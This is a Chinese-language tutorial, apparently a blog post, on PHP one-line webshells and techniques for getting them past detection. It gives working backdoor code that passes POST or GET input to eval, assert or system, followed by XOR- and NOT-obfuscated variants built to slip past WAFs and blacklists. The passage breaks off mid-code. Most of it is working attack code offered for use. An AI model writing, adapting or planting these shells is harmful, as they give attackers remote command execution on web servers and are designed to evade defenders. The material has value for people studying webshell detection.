0X00普通的一句话木马(适用于CTF和小站)
<?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?>
<?php @eval($_POST['110']);?>
与第一个一句话木马相比多了一个"@
“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件”,而且它的写入位置也相对灵活;可以是eval函数
前面,也可以是post函数
前面…
接着我们看第二个代码,我们发现它把eval函数
替换为了assert函数
;这时我们通过查看PHP手册([友情链接](https://www.runoob.com/php/php-
functions.html))发现如下区别:
- eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
- assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错
可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。
小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>
)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)
0X01 php的免杀(字符串免杀思路)
字符串异或加密
字符串base家族加密
字符串rot13加密
字符串拼接
php免杀之异或免杀
大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…)。所以我们常常会说:白名单>WAF>黑名单!
"^
"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串([参考链接](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum.html))
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);
<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[